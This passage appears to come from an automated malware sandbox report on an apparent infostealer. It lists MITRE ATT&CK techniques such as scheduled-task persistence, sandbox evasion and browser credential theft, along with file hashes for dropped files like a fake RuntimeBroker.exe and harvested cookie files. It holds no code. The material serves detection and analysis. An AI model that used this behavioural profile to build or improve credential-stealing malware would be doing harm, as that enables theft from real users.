                                            "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
                                            1⤵
                                            • Modifies registry class
                                            • Suspicious use of SetWindowsHookEx
                                            PID:3168
                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                            1⤵
                                            • Modifies registry class
                                            • Suspicious use of SetWindowsHookEx
                                            PID:3500

                                          Network

                                                MITRE ATT&CK Enterprise v16

                                                Reconnaissance

                                                Resource Development

                                                Initial Access

                                                Execution

                                                Command and Scripting Interpreter

                                                1
                                                T1059

                                                PowerShell

                                                1
                                                T1059.001

                                                Scheduled Task/Job

                                                1
                                                T1053

                                                Scheduled Task

                                                1
                                                T1053.005

                                                Persistence

                                                Boot or Logon Autostart Execution

                                                2
                                                T1547

                                                Active Setup

                                                1
                                                T1547.014

                                                Registry Run Keys / Startup Folder

                                                1
                                                T1547.001

                                                Scheduled Task/Job

                                                1
                                                T1053

                                                Scheduled Task

                                                1
                                                T1053.005

                                                Privilege Escalation

                                                Access Token Manipulation

                                                1
                                                T1134

                                                Create Process with Token

                                                1
                                                T1134.002

                                                Boot or Logon Autostart Execution

                                                2
                                                T1547

                                                Active Setup

                                                1
                                                T1547.014

                                                Registry Run Keys / Startup Folder

                                                1
                                                T1547.001

                                                Scheduled Task/Job

                                                1
                                                T1053

                                                Scheduled Task

                                                1
                                                T1053.005

                                                Defense Evasion

                                                Access Token Manipulation

                                                1
                                                T1134

                                                Create Process with Token

                                                1
                                                T1134.002

                                                Hide Artifacts

                                                2
                                                T1564

                                                Hidden Files and Directories

                                                2
                                                T1564.001

                                                Modify Registry

                                                4
                                                T1112

                                                Subvert Trust Controls

                                                1
                                                T1553

                                                SIP and Trust Provider Hijacking

                                                1
                                                T1553.003

                                                Virtualization/Sandbox Evasion

                                                5
                                                T1497

                                                Credential Access

                                                Credentials from Password Stores

                                                1
                                                T1555

                                                Credentials from Web Browsers

                                                1
                                                T1555.003

                                                Unsecured Credentials

                                                1
                                                T1552

                                                Credentials In Files

                                                1
                                                T1552.001

                                                Discovery

                                                Browser Information Discovery

                                                1
                                                T1217

                                                Peripheral Device Discovery

                                                2
                                                T1120

                                                Query Registry

                                                9
                                                T1012

                                                System Information Discovery

                                                3
                                                T1082

                                                Virtualization/Sandbox Evasion

                                                5
                                                T1497

                                                Lateral Movement

                                                Collection

                                                Data from Local System

                                                1
                                                T1005

                                                Command and Control

                                                Web Service

                                                1
                                                T1102

                                                Exfiltration

                                                Impact

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                StartupProfileData-NonInteractive
                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                • Size 1KB
                                                • SHA256 e56f4a38e0c60f0196c589e1952198368a10927e65ff24d1476ffafc489657f4
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                StartupProfileData-NonInteractive
                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                • Size 948B
                                                • SHA256 537144a9e95700b4da2b80df6b0e1acf5b59fee0f2ce2d47e4e2f09cab7c63d1
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                StartupProfileData-NonInteractive
                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                • Size 1KB
                                                • SHA256 2bd31c2f82b568c1e17f6a624b22d9334a5ea62acce12b0cc96b19510c2548d0
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                StartupProfileData-NonInteractive
                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                • Size 1KB
                                                • SHA256 31f361dbf9d5824f3c3e1dce74f9bdcf8e2e43b8703541949c3c541dd5d329e6
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                prep_Activatable Class_Hermes_perf.cache
                                                • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
                                                • Size 599B
                                                • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                RuntimeBroker.exe
                                                • Path C:\Users\Admin\AppData\Local\Temp\Microsoft\RuntimeBroker\RuntimeBroker.exe
                                                • Size 219KB
                                                • SHA256 ce96008d231f22ed2ceeb8a772ab65c9d97a295ab5d3bc0da64c8ae7e69a090c
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                _chacha20.pyd
                                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI45402\Crypto\Cipher\_chacha20.pyd
                                                • Size 13KB
                                                • SHA256 ef063eb3aed160477551236d25f8dade24387ad4fff812814f2099d35e74416c
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                _raw_aes.pyd
                                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI45402\Crypto\Cipher\_raw_aes.pyd
                                                • Size 34KB
                                                • SHA256 520b343e44b5633bbc4fdcecc705a7f2eb6e55d082a1f3e4723ada9d7e5ea97d
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                _raw_aesni.pyd
                                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI45402\Crypto\Cipher\_raw_aesni.pyd
                                                • Size 15KB
                                                • SHA256 3818873f50418cbecde58150e9bffff7372d2c2067fc0b96ffac9482dfddd603
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                _BLAKE2s.pyd
                                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI45402\Crypto\Hash\_BLAKE2s.pyd
                                                • Size 13KB
                                                • SHA256 d1ed1ca3c6802954cd8ca6f5e419c54a357b4a04bb802bab876b04b942a4b862
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                _ghash_portable.pyd
                                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI45402\Crypto\Hash\_ghash_portable.pyd
                                                • Size 12KB
                                                • SHA256 ca4c4e24af0d7f879f9cb73df6e27f83441071dd466c366a4f4b467101e50e21
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                _poly1305.pyd
                                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI45402\Crypto\Hash\_poly1305.pyd
                                                • Size 13KB
                                                • SHA256 2559f954dbd0082ff1e95c1f38936078866b6bc14006e3f64f0ba9fb6657d5c1
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                _cpuid_c.pyd
                                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI45402\Crypto\Util\_cpuid_c.pyd
                                                • Size 10KB
                                                • SHA256 2af984819d9b1f95132520901b355eb85aa24d5efc6fc5ae9e77252ed03b7f4b
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                VCRUNTIME140.dll
                                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI45402\VCRUNTIME140.dll
                                                • Size 117KB
                                                • SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                VCRUNTIME140_1.dll
                                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI45402\VCRUNTIME140_1.dll
                                                • Size 48KB
                                                • SHA256 6a99bc0128e0c7d6cbbf615fcc26909565e17d4ca3451b97f8987f9c6acbc6c8
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                _bz2.pyd
                                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI45402\_bz2.pyd
                                                • Size 86KB
                                                • SHA256 ef5277eb670219274e7d1e92190ddf7f4bb94d4922ca1c1a12efadfd2c4c66f6
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                _ctypes.pyd
                                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI45402\_ctypes.pyd
                                                • Size 139KB
                                                • SHA256 fd4847b99cd504a66bdc4739f15181b562774e6736bb88775880b073276dede1
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                _hashlib.pyd
                                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI45402\_hashlib.pyd
                                                • Size 67KB
                                                • SHA256 9bc6ffcd2ab4ac87c4035f18b432e888d0d4a36795c97bf3f28ddf32cc34e40f
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                _lzma.pyd
                                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI45402\_lzma.pyd
                                                • Size 157KB
                                                • SHA256 39e5bc3624a26c9f6ad2e2df412543b0bd697a1d75338b44fe99763358d6d8cb
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                _queue.pyd
                                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI45402\_queue.pyd
                                                • Size 35KB
                                                • SHA256 acf60e246f6a83a914fb6c411f04bd3eb8bba83070612ca44af99d74f06c5524
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                _socket.pyd
                                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI45402\_socket.pyd
                                                • Size 85KB
                                                • SHA256 65caaa6f35c329d901ba3f3d9f7fc4d7443dcde89907dccbd6748786cc517476
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                _sqlite3.pyd
                                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI45402\_sqlite3.pyd
                                                • Size 129KB
                                                • SHA256 e33fd2ccfd0bd878d50f5c093a56e324ad146e03ebd47e4dc81d6c833badedbe
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                _ssl.pyd
                                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI45402\_ssl.pyd
                                                • Size 180KB
                                                • SHA256 12e31f50739e33b115c7e10febf1ccedeb5d9353cd539c608cc5dd164bee17a7
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                _wmi.pyd
                                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI45402\_wmi.pyd
                                                • Size 39KB
                                                • SHA256 6fb2c6316628664319b2abcf961f0cbbac809966a65b653c86e7864ad8701496
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                _zstd.pyd
                                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI45402\_zstd.pyd
                                                • Size 491KB
                                                • SHA256 54e6acfbc1cb27c9afea0e133cadac68b89869ff1a14eb0c678d40eb9c655347
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                base_library.zip
                                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI45402\base_library.zip
                                                • Size 1.3MB
                                                • SHA256 7cba15064c959497620ac6f38a61d615ee0365331086a3867b8fdb4ffae520da
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                libcrypto-3.dll
                                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI45402\libcrypto-3.dll
                                                • Size 5.0MB
                                                • SHA256 8b27ebae75cc99f20075322446af36c9ffcb4e3b400a77d712ef43f007f47f7d
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                libffi-8.dll
                                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI45402\libffi-8.dll
                                                • Size 38KB
                                                • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                libssl-3.dll
                                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI45402\libssl-3.dll
                                                • Size 776KB
                                                • SHA256 56dd50fb903b860ace831d0cd6c6250cd57e8655867c3a0fa16eac2d4cc0ba0b
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                python314.dll
                                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI45402\python314.dll
                                                • Size 6.5MB
                                                • SHA256 18310593c50ad109fc5c95db1fd5c92ecec9e1bfc66c976df9fc11dd62616d5a
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                Lorem ipsum.txt
                                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI45402\setuptools\_vendor\jaraco\text\Lorem ipsum.txt
                                                • Size 1KB
                                                • SHA256 37fedcffbf73c4eb9f058f47677cb33203a436ff9390e4d38a8e01c9dad28e0b
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                sqlite3.dll
                                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI45402\sqlite3.dll
                                                • Size 1.5MB
                                                • SHA256 cb9676d3b9aeae83a63da5903add3fe4f17ed2e26e7e01a4f1877c4fcdeee99d
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                ucrtbase.dll
                                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI45402\ucrtbase.dll
                                                • Size 1.1MB
                                                • SHA256 6dea28951eb6c593dafb26dc69e499ae283a939f46e3a00690dbcca954ce10ea
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                __PSScriptPolicyTest_nvucfdan.lsv.ps1
                                                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nvucfdan.lsv.ps1
                                                • Size 60B
                                                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                dpapi.node
                                                • Path C:\Users\Admin\AppData\Local\Temp\_sn\dpapi.node
                                                • Size 134KB
                                                • SHA256 386e7a520b143aa7b6fa1a28a0237391a938bbedd0b245733a3da3a215026a3f
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                cookies.txt
                                                • Path C:\Users\Admin\AppData\Local\Temp\bd_8dj05w6q\Browser-Datas\edge\default\cookies.txt
                                                • Size 55B
                                                • SHA256 95ee0381aeadc50f654bb272b053f44fe486d6a0f39140c239fdcae3664bdfd3
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                bookmarks.txt
                                                • Path C:\Users\Admin\AppData\Local\Temp\bd_8dj05w6q\Browser-Datas\firefox\nightly\qlawmsda.default-release\bookmarks.txt
                                                • Size 336B
                                                • SHA256 f62778bc8519b24f20aedc434bc0b2ecbb00ab90732b0c483170294594f4beb7
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                rt_1783476192675.xml
                                                • Path C:\Users\Admin\AppData\Local\Temp\rt_1783476192675.xml
                                                • Size 1KB
                                                • SHA256 c739a510351e578c808fe19c3fa5d32c40db65882bd70522b69288f5278c8fef
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                task_1783476187757.xml
                                                • Path C:\Users\Admin\AppData\Local\Temp\task_1783476187757.xml
                                                • Size 1KB
                                                • SHA256 ad6578f490ea2f17f2be75ee5d8bc2572ff9e7fae9890a409ab806569e24ea04
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                assets.exe
                                                • Path C:\Users\Admin\AppData\Local\Temp\temp_1783476189137\assets.exe
                                                • Size 16.2MB
                                                • SHA256 c098b4c1d80587962abdd19de97b439c337296d006c50b36dc184565462821f4
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                memory/1700-19-0x00000227775E0000-0x00000227775EA000-memory.dmp
                                                Download

                                                memory/1744-366-0x00000198B47E0000-0x00000198B4892000-memory.dmp
                                                Download

                                                memory/3168-400-0x0000023502C80000-0x0000023502CA0000-memory.dmp
                                                Download

                                                memory/3168-393-0x00000235001E0000-0x00000235002E0000-memory.dmp
                                                Download

                                                memory/3168-413-0x00000235141F0000-0x0000023514210000-memory.dmp
                                                Download

                                                memory/3168-398-0x0000023502E60000-0x0000023502F60000-memory.dmp
                                                Download

                                                memory/3168-397-0x0000023502A20000-0x0000023502A40000-memory.dmp
                                                Download

                                                memory/3168-392-0x00000235001E0000-0x00000235002E0000-memory.dmp
                                                Download

                                                memory/3168-391-0x00000235001E0000-0x00000235002E0000-memory.dmp
                                                Download

                                                memory/5488-17-0x0000013B57180000-0x0000013B5719E000-memory.dmp
                                                Download

                                                memory/5488-12-0x0000013B56FB0000-0x0000013B56FD2000-memory.dmp
                                                Download

                                                memory/5488-18-0x0000013B571A0000-0x0000013B57252000-memory.dmp
                                                Download

                                                memory/5976-344-0x000001DBF3460000-0x000001DBF348A000-memory.dmp
                                                Download

                                                memory/5976-345-0x000001DBF3460000-0x000001DBF3484000-memory.dmp
                                                Download

                                                memory/5976-343-0x000001DBF36A0000-0x000001DBF3752000-memory.dmp
                                                Download